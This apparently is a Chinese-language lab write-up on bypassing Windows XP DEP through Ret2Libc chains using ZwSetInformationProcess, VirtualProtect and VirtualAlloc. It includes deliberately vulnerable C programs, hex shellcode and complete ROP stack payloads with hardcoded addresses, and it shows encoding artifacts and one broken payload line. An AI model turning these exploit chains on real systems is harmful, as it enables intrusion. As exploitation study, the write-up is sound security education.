還是和linux下溢出利用對(duì)比。
開(kāi)啟了DEP后,棧的內(nèi)存空間變成不可執(zhí)行,無(wú)法再把shellcode布置其中然后執(zhí)行。而如果在代碼區(qū)找到一些替代指令,通過(guò)ROP鏈的方式連接起來(lái),來(lái)達(dá)到shellcode的功能,這在linux下是完全可行的(即ROP技術(shù),畢竟system('/bin/sh')或execve('/bin/sh')是非常簡(jiǎn)捷的),但是在windows下要復(fù)雜的多的多的多,并且不具備通用性。
《0day》書(shū)中提到了在繼承這種思想(即Ret2Libc)的大前提下,三種經(jīng)過(guò)改進(jìn)的,相對(duì)比較有效的繞過(guò)DEP的exploit方法。
1.使用ZwSetInformationProcess( )將DEP關(guān)閉后再轉(zhuǎn)入shellcode執(zhí)行
2.使用VirtualProtect將shellcode所在內(nèi)存頁(yè)設(shè)置為可執(zhí)行狀態(tài),然后轉(zhuǎn)入shellcode執(zhí)行
3.使用VirtualAlloc開(kāi)辟一段具有執(zhí)行權(quán)限的內(nèi)存空間,復(fù)制shellcode到其中執(zhí)行
0x00 Ret2Libc實(shí)戰(zhàn)之利用ZwSetInformationProcess
一個(gè)進(jìn)程的DEP設(shè)置標(biāo)識(shí)保存在KPROCESS結(jié)構(gòu)中的_KEXECUTE_OPTIONS上,而這個(gè)標(biāo)識(shí)可以通過(guò)API函數(shù)ZwQueryInformationProcess和ZwSetInformationProcess進(jìn)行查詢和修改。(有些資料中將這些函數(shù)成為NtQueryInformationProcess和 NtSetInformationProcess,在Ntdll.dll中Nt**函數(shù)和Zw**函數(shù)功能是完全一樣的。)
_KEXECUTE_OPTIONS結(jié)構(gòu)定義:
Pos0: ExecuteDisable ?:1bit
Pos1: ExecuteEnable ? :1bit
Pos2: DisableThunkEmulation : 1bit
Pos3: Permanent ? ? ? ? :1bit
Pos4: ExecuteDispatchEnable ?: 1bit
Pos5: ImageDispatchEnable ?:1bit
Pos6: Spare ? ?:2bit
其中Permanent置1后這些屬性都無(wú)法再修改。真正影響DEP的是前兩位,所以我們只要把_KEXECUTE_OPTIONS設(shè)置為2(0b00000010)就可以關(guān)閉DEP
關(guān)鍵函數(shù)ZwSetInformationProcess的定義:
ZwSetInformationProcess(
? ? IN HANDLE ? ? ? ? ? ? ? ?ProcessHandle, ? ? //進(jìn)程的句柄,設(shè)置為-1表示當(dāng)前進(jìn)程
? ? IN PROCESS_INFORMATION_CLASS ? ? ProcessInformationClass, ? ??
? ? IN PVOID ? ? ? ? ? ? ? ? ? ProcessInformation,
? ? IN ULONG ? ? ? ? ? ? ? ? ProcessInformationLength );
Skape和Skywing在他們的論文Bypassing Windows Hardware-Enforced DEP中給出了關(guān)閉DEP的參數(shù)設(shè)置:
ZwSetInformationProcess(
NtCurrentProcess( ), ? ? ? ? ? ?//(HANDLE) -1
ProcessExecuteFlags, ? ? ? ? ?// 0x22
&ExecuteFlags, ? ? ? ? ? ? ? ? ? // ptr to 0x2
sizeof(ExecuteFlags)); ? ? ?// 0x4
具體的構(gòu)造利用還要考慮到字符串復(fù)制時(shí)’\x00'截?cái)嗟膯?wèn)題,還有一種方法就是在系統(tǒng)中尋找已經(jīng)構(gòu)造好的參數(shù),如果系統(tǒng)中存在一處關(guān)閉當(dāng)前進(jìn)程DEP的調(diào)用,我們就可以直接用它構(gòu)造參數(shù)來(lái)關(guān)閉進(jìn)程的DEP了。
微軟的兼容性考慮,如果一個(gè)進(jìn)程的Permanent位沒(méi)有設(shè)置,當(dāng)它加載DLL時(shí),如果符合以下條件之一時(shí)進(jìn)程的DEP就會(huì)被關(guān)閉:
1)當(dāng)DLL受SafeDisc版權(quán)保護(hù)系統(tǒng)保護(hù)時(shí)
2)當(dāng)DLL包含有 .aspcak ? 、 ? .pcle ? ?、 ?.sforce等字節(jié)時(shí)
3)windows vista下面當(dāng)DLL包含在注冊(cè)表”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DIINXOptions“鍵下邊標(biāo)識(shí)出不需要啟動(dòng)DEP的模塊時(shí)。
換言之如果我們能夠模擬其中一種情況(例如借助ROP更改用于判斷的寄存器值),那么當(dāng)前進(jìn)程的DEP將被關(guān)閉。
一開(kāi)始想跳過(guò)這一節(jié)直接看用virtualprotect的方法的,后來(lái)發(fā)現(xiàn)這里提到了后面也要用到的調(diào)整ebp和esp,還是比較有意思的。
首先是漏洞代碼:
#include<stdlib.h>
?#include<string.h>
#include<stdio.h>
#include<windows.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x6f\x69\x74\x21\x68\x65\x78\x70\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x52\xe2\x92\x7c" //mov eax,1 ; retn
"\x24\xcd\x93\x7c";
void test()
{
? ? ?char tt[176];
? ? ?strcpy(tt,shellcode);
}
int main()
{
? ? ? HINSTANCE hInst = LoadLibrary("shell32.dll");
? ? ? char temp[200];
? ? ? test();
? ? ? return 0;
}
先把shellcode放好,然后再用計(jì)算偏移量的方法計(jì)算還需要多少字節(jié)能夠覆蓋到EIP,并用\x90填充。
用od插件查找LdrpCheckNXCompatibility函數(shù),在0x7c93cd24對(duì)al寄存器的值進(jìn)行檢驗(yàn)之前,先在內(nèi)存中尋找一條mov eax,1 ?; retn的rop來(lái)修改eax,從而偽造出第一種情況中,DLL受SafeDisc版權(quán)保護(hù)系統(tǒng)保護(hù)的假象,然后再跳轉(zhuǎn)到0x7c93cd24來(lái)關(guān)閉DEP。
但是程序并沒(méi)有如我們想象的那樣執(zhí)行:


原來(lái)是我們覆蓋EIP的時(shí)候把EBP也沖掉了,試圖向[EBP-0x4]寫入時(shí)出現(xiàn)了錯(cuò)誤

之后仍然能返回到LdrpCheckNXCompatibility中執(zhí)行一直到retn,但是實(shí)際上所有的jnz都不會(huì)跳轉(zhuǎn),從而根本不會(huì)跳轉(zhuǎn)到0x7c956831去執(zhí)行用于關(guān)閉DEP的ZwSetInformationProcess函數(shù)!
所以在轉(zhuǎn)入0x7c93cd24前,需要將ebp指向一個(gè)可寫的位置。滿足可寫只有esp,我們只能選擇push esp pop ebp retn這樣一條指令序列。(只是retn 4之后esp相當(dāng)于+4+4相對(duì)ebp位于高地址,接下來(lái)若有壓棧操作有可能將ebp-0x4覆蓋,造成傳參(第三個(gè)參數(shù)&ExecuteFlags)不正確)


ebp-4果然被覆蓋變成了0x22,但是其低四位與0x2相同仍然是0100不影響使用。
然后。。。然后就叕叕出問(wèn)題了
關(guān)閉DEP返回的時(shí)候發(fā)現(xiàn)棧頂變成了0x000004,正是調(diào)用ZwSetInformationProcess傳參時(shí)候壓入的4,DEP是關(guān)掉了但是沒(méi)法繼續(xù)了也很無(wú)奈啊。。。究其原因還是因?yàn)閑sp在高地址而且距離ebp太近了,幾次壓棧就有可能沖掉棧中保存的返回地址,思路大概就是減小esp或者增大ebp,這里采用的辦法是干脆增大esp(因?yàn)檎也坏皆龃骵bp,而且shellcode在低地址減小esp的話又會(huì)破壞shellcode)
這里使用0x5d18698d的retn 0x28來(lái)增大esp:

exploit!
0x01 Ret2Libc實(shí)戰(zhàn)之利用VirtualProtect
原理上類同linux下用mprotect修改內(nèi)存頁(yè)權(quán)限來(lái)繞過(guò)NX執(zhí)行shellcode(linux x64 ROP in XMAN-Level5)
MSDN 上的函數(shù)說(shuō)明

lpAddress:要改變屬性的內(nèi)存起始地址
dwSize:要改變屬性的內(nèi)存區(qū)域大小
flNewProtect:內(nèi)存新的屬性類型,設(shè)置為PAGE_EXECUTE_READWRITE(0x40)時(shí)該內(nèi)存頁(yè)為可讀可寫可執(zhí)行
pflOldProtect:內(nèi)存原始屬性類型保存地址
需要注意:
1)參數(shù)中包含\x00,使用strcpy復(fù)制字符串會(huì)被截?cái)?,試?yàn)中用memcpy構(gòu)造溢出點(diǎn)
2)試驗(yàn)中使用一種巧妙地棧幀構(gòu)造方法確定shellcode所在內(nèi)存空間起始地址
觸發(fā)漏洞的程序:
#include<stdlib.h>
#include<string.h>
#include<stdio.h>
#include<windows.h>
char shellcode[]=
""
void test()
{
?char tt[176];
?memcpy(tt,shellcode,420);
}
void jump()
{
?__asm jmp esp; ? ?//書(shū)中給的源碼是沒(méi)有這個(gè)函數(shù)的
}
int main() {
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
test();
return 0;
}
首先還是用\x90填充計(jì)算多少字節(jié)覆蓋到返回地址
接著需要調(diào)整ebp,還是使用push esp ; pop ebp ; retn 4序列的方式,返回后ebp和esp:

查看我們需要調(diào)用的virtualprotectEX函數(shù)的傳參:
[ebp+0x8]? ? ? ? ===> ? ?lpAddress ? ? ? ? ?//要改變屬性的內(nèi)存起始地址 ? 需要棧中相對(duì)于shellcode的低地址
[ebp+0xc] ? ? ? ?===> ? ?dwSize ? ? ? ? ? ? ?//要改變屬性的內(nèi)存區(qū)域大小 ? 設(shè)為0xff完全夠用
[ebp+0x10] ? ? ?===> ? ?flNewProtect ? ? //內(nèi)存新的屬性類型 ?0x40即為R W E
[ebp+0x14] ? ? ?===> ? ?pflOldProtect ? ? //需要一可寫地址

retn 4之后esp恰好指向ebp+0x8,也就是說(shuō)我們只需要一個(gè)mov [esp],** ?; ?pop ?;pop ?;retn的指令序列就可以完成傳參,但是沒(méi)有找到這樣一條指令序列。
另一種方法就是使esp再增加4字節(jié)然后壓棧,使esp增加4字節(jié)的指令很簡(jiǎn)單retn就可以完成,接著我們只需要push esp ?; pop ; pop ?;pop ?; retn這樣的序列,就可以把esp+0x8的位置寫入當(dāng)前esp的值(顯然是相對(duì)于shellcode的低地址),緊接著在棧上靜態(tài)布置好size(0xff)和屬性類型(0x40),pop指令不會(huì)去修改他們,最后再進(jìn)行一次push esp pop pop pop retn,[ebp+0x14]需要的一可寫地址也滿足了,再填充8字節(jié)的nop又可以繼續(xù)構(gòu)造rop鏈。
但是并沒(méi)有找到一條push esp pop pop pop retn的序列,這里就提供一種拼接的方式,首先需要找到拼接的材料:
1)push esp ; jmp eax
2.)pop eax ?; retn
3) pop ;pop ; pop ; retn (不能修改ebp,esp,eax)
? ? ? ? ? ? ? ? ?////////////////////////////////////////////////////
esp==> ? ? //address of pop eax retn ? ? ? ? ?//
? ? ? ? ? ? ? ? ?////////////////////////////////////////////////////
? ? ? ? ? ? ? ? ?//address of pop pop pop retn ? //
? ? ? ? ? ? ? ? ?/////////////////////////////////////////////////////
? ? ? ? ? ? ? ? ?//address of push esp jmp eax ? //
? ? ? ? ? ? ? ? ?/////////////////////////////////////////////////////
如此在棧中布局,就拼接出了一條push esp pop pop pop retn指令序列。然后就可以跳轉(zhuǎn)到0x7c801ad9去執(zhí)行virtualprotectEX,查看返回值:

eax為1說(shuō)明修改成功。
最后jmp esp和布置shellcode之前要加入16字節(jié)\x90的填充,否則esp指向shellcode中間,shellcode開(kāi)始處的壓棧操作會(huì)破壞shellcode自身。

PS:最后發(fā)現(xiàn)沒(méi)有找到可執(zhí)行的jmp esp???只能自己在代碼段里內(nèi)聯(lián)了一個(gè),或者既然地址沒(méi)開(kāi)隨機(jī)化可以硬編碼shellcode的起始地址。有時(shí)間還是學(xué)一學(xué)idc寫一些自己用的方便插件。
0x02 Ret2Libc實(shí)戰(zhàn)之利用VirtualAlloc
Windows XP
VC++6.0
Ollydbg
ImmunityDebug(mona)
代碼:
#include<stdlib.h>
#include<string.h>
#include<stdio.h>
#include<windows.h>
char shellcode[]=
""
void test()
{
char tt[176];
memcpy(tt,shellcode,450);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
test();
return 0;
}
180個(gè)填充后覆蓋到反對(duì)地址
這時(shí)ebp已經(jīng)被我們的輸入覆蓋了,需要用push esp ; pop ebp ; retn修正ebp,接著就可以調(diào)用virtualAlloc()來(lái)申請(qǐng)一塊新的可寫可執(zhí)行的內(nèi)存。

參數(shù):
0x30000? 申請(qǐng)空間起始地址
0xfff? ? ? ? ?申請(qǐng)空間大小
0x1000? ? ?申請(qǐng)類型
0x40? ? ? ? ?申請(qǐng)空間訪問(wèn)類型(RWE)

如果用這里的0x7c809af4的話,還要在加上一個(gè)參數(shù)0xffffffff表示當(dāng)前進(jìn)程。這些參數(shù)都是靜態(tài)確定的所以可以直接放在棧中傳遞:
"\x90\x90\x90\x90"
"\x85\x8b\x1d\x5d"? ? ? ? ? ?//push esp ; pop ebp ; retn 4
"\xf4\x9a\x80\x7c"? ? ? ? ? ? //call VirtualAlloc
"\x90\x90\x90\x90"
"\xff\xff\xff\xff"
"\x00\x00\x03\x00"
"\xff\x00\x00\x00"
"\x00\x10\x00\x00"
"\x40\x00\x00\x00"
返回值為1說(shuō)明申請(qǐng)成功,此時(shí)用od的Memory窗口可以看到0x30000開(kāi)始的一片內(nèi)存且權(quán)限為RWE。
注意返回的時(shí)候有一個(gè)pop ebp的指令又破壞了ebp,所以還要重新修正ebp一次。
接著需要做的就是把shellcode復(fù)制到0x30000中去執(zhí)行,可以使用memcpy來(lái)完成這一步。

dest:0x30000
src? :<=shellcode start
count:長(zhǎng)度可以覆蓋到shellcode
可以直接使用程序代碼中的memcpy,這里并沒(méi)有調(diào)用ntdll里面的memcpy:

主要需要考慮的就是memcpy的源地址,當(dāng)然這里shellcode是硬編碼進(jìn)去的,可以靜態(tài)確定。但是更一般的情況是shellcode出現(xiàn)在用戶的輸入中,作為局部變量存儲(chǔ)在棧中,所以shellcode的起始地址需要我們動(dòng)態(tài)確定。事實(shí)上只需要一個(gè)在棧中相對(duì)于shellcode的低地址就足夠了。一條push esp就可以幫助我們完成傳參!
考慮第二次修正ebp之后棧的情況
"\x85\x8b\x1d\x5d" //push esp ; pop ebp ; retn 4? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
"\x3d\x19\xfa\x7f"? ?//pop edx retn? ? ? <==== ebp
"\x08\x00\x03\x00"? ?//memcpy返回后將跳轉(zhuǎn)到這里指向的地址
"\x00\x00\x03\x00"
ebp將會(huì)指向如上的位置,此時(shí)再在棧中ebp+8的位置填入0x30000,即完成了第一個(gè)參數(shù)的傳入,接著pop retn防止第一個(gè)參數(shù)被修改,返回地址處填上push esp ; jmp eax,eax可以預(yù)先放上一個(gè)pop pop retn的地址,即拼出一條push esp ; pop ; pop ; retn的指令,防止后兩個(gè)參數(shù)被修改,retn的地址放上0x401050。
總體的布局:
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x85\x8b\x1d\x5d" //adjust ebp retn 4
"\xf4\x9a\x80\x7c" //call virtualalloc
"\x90\x90\x90\x90"
"\xff\xff\xff\xff"
"\x00\x00\x03\x00"
"\xff\x00\x00\x00"
"\x00\x10\x00\x00"
"\x40\x00\x00\x00"
"\x90\x90\x90\x90"
"\xfc\xda\xce\x7d" //pop eax retn
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //paddings for retn 0x10 "\xb9\x81\xce\x7d" //pop pop retn
"\x85\x8b\x1d\x5d" //adjust ebp retn 4
"\x3d\x19\xfa\x7f" //pop edx retn
"\x08\x00\x03\x00"
"\x00\x00\x03\x00"
"\xc6\xc6\xeb\x77" //push esp jmp eax
"\xff\x0f\x00\x00" //length
"\x55\x10\x40\x00"
“......” //shellcode
EXPLOIT!
